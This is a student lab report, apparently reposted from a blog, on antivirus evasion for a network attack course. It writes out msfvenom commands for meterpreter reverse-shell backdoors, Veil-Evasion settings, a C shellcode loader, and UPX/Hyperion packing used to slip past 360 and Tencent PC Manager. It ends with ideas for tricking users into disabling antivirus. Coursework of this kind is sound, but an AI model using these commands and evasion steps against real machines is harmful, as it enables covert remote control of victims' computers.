2018-2019-2 20165212 《网络对抗技术》Exp3 免杀原理与实践

2018-2019-2 20165212 《网络对抗技术》Exp3 免杀原理与实践

一、实验内容

  • 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验步骤

任务一 正确使用免杀工具或技巧

1、使用msf编码器msfvenom生成后门程序

  • 使用msfvenom -p windows/meterpreter/reversetcp -e x86/shikataga_nai -i 10 -b ‘x00’ LHOST=192.168.235.144 LPORT=5212 -f exe >fenix.exe指令进行多次编码,生成.exe的后门程序 

  • 放到windows系统中,360肯定是可以直接发现的,没有测试的必要

  • 使用virscan进行扫描,结果如下所示: 

  • 用msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.235.144 lport=5212 x> 5212met.jar生成.jar的后门程序

  • 使用msfconsole回连成功 (没启动杀软)

  • 放到windows7系统中,杀软并发现它了,扫描没问题,但是运行会查杀

  • 使用virscan进行扫描,结果如下所示: 

  • 检测率降低了,但没有实现免杀

2、使用veil-evasion生成后门程序

  • 安装veil-evasion(参考安装教程)
  • 在经过长时间尝试安装veil失败后,我直接安装了可用veil的kali机
  • 输入veil,启用veil

  • 输入use evasion,进入veil-evasion

  • 输入list,查看可生成文件的格式

  • 输入use 7,选择C语言格式

  • 依次输入set LHOST 192.168.235.144和set LPORT 5212设置反弹连接IP和端口
  • 输入generate生成文件,再设置playload的名字:payload5212 
  • 生成成功
  • 放到windows中,执行,msf成功监听3 
  • 使用virscan进行扫描,结果如下所示: 
  • 查杀结果依然显示危险

3、利用shellcode编程生成后门程序

  • 用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.144 LPORT=5212 -f c生成一段shellcode

  • 利用shellcode编写一个C语言程序后门,再用i686-w64-mingw32-g++ feniexp3.c -o fenixexp3.exe编译运行后,测试其可用性

  • C语言代码如下: unsigned char buf[] = "buf"

int main() { int (func)() = (int()())buf; func(); } - 生成文件如图

  • 直接用.C交叉编译生成的exe文件复制到Windows中是无法运行的,错误提示BEX,是win下面类似堆栈保护的机制(但是UPX压索壳加密后可以运行可用回连;upx加壳后的exe再用hyperion加密壳加密后不可再win下面不可以运行,错误提示appcrash,这次原因不再是堆栈保护机制,而是编译C生成的EXE文件这么一层一层弄下来文件本身坏了)

  • upx加密的EXE成功连接

  • 使用virscan进行扫描,结果如下所示:
  • -上述3个exe程序无法实现免杀,扫描就凉了

任务二 通过组合应用各种技术实现恶意代码免杀

对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的fenixveil.exe可执行文件加UPX压缩壳尝试实现免杀 被控机是Win7虚拟机,电脑杀软为360(最新版就这周安装的)

  • 使用virscan进行扫描,结果如下所示: 
  • win7下360按位置查杀没有发现:
  • 但是尝试运行回连候会被杀出来,应该是压缩过后储存在硬盘上的代码被改变没有恶意代码的特征,但是运行的时候在行为像病毒木马所以被360查出来。也就是说,upx这个工具生成的后门,存储没问题,运行还不行。hyperion也是一样,甚至 
  • 当然了,没开杀软或者信任之后回连成功 
  • 所以,总结一下,后门程序、组合实现的shellcode存储免杀没问题,但是运行起来不行

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 本项任务我自己的主机作为受害者,20165313张晨晖的kali作为坏人
  • 杀软版本:电脑管家13.0.19837.233,我在自己主机上启动的程序为半手工编译的shellcode经过upx和hyperion加壳的。结果如图

三、实验中遇到的问题

  • 在安装运行Veil-Evasion时,遇到很多错,很棘手

    • 解决过程: 更换新版本的kali机
  • C交叉编译生成的exe文件、hyperion加密壳生成的exe文件在win7下无法执行。

    • 这个问题其实没有解决,我大致找到了原因:前者是因为“机器码恶意太明显”,win7下有类似堆栈保护的机制,叫“数据执行保护DEP”(错误代码BEX),并且我无法为我的后门程序免除DEP;后者应该是因为一层层编译加壳下来文件本身产生了变化(错误代码APPCRASH),ntdll内核模块出错,我尝试按网上的步骤修改,结果那个虚拟机坏了。使得程序本身无法启动。 

四、实验总结

1、基础问题回答

  • (1)杀软是如何检测出恶意代码的?

    • 1)第一种是基于特征码的检测,特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它作为恶意程序处理。
    • 2)第二种是启发式恶意软件检测,简单来说,就是杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。
    • 3)第三种是基于行为的恶意软件检测,是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  • (2)免杀是做什么?
    • 我认为是通过一些特殊的方法,如加壳、编码等,使杀软无法识别主机中的恶意代码。
  • (3)免杀的基本方法有哪些?

    • 1)第一种是改变特征码,如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其他语言重写再编译。
    • 2)第二种是改变行为,如在通讯中尽量使用反弹式连接、使用隧道技术、加密通讯数据等等,在操作中基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
    • 3)第三种是非常规方法,如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。

2、实验总结和收获

  • 结合我身边同学的实际情况来看,如果在windows&360开启的条件下,运行后门程序没有一个成功的(有的运行了几分钟之后才被查杀,但那不算成功吧),为了最后一个任务,我不得不去找了一台装有腾讯电脑管家的电脑去做实验,并且运行没有发现。据我所知,360的病毒库是和卡巴斯基通用的,这两大家安全公司,要是我们简单的学了几个小时复制粘贴几个指令就能逃过去岂不是有些荒唐...

3、离实战还缺少的技术或步骤

  • 目前我们的水平很难弄出能在360眼皮底下运行的后门(我所知道的可以运行的坚持不过几分钟),所以必须要考虑“人为因素”,对计算机使用者进行诱导,使其主动去关闭360或者对我们的后门程序添加信任,也就意味着我们需要对后门程序进行包装,比如把shellcode写进word、QQ等程序里,使操作者对伪装的后门程序没有戒备。还有一种思路:既然后门程序可以安全的存储在硬盘上,那我就可以在弄一个程序去监视计算机的进程,监视到360退出了,这时候去唤醒后门程序
原文地址:https://www.cnblogs.com/FenixRen/p/10632632.html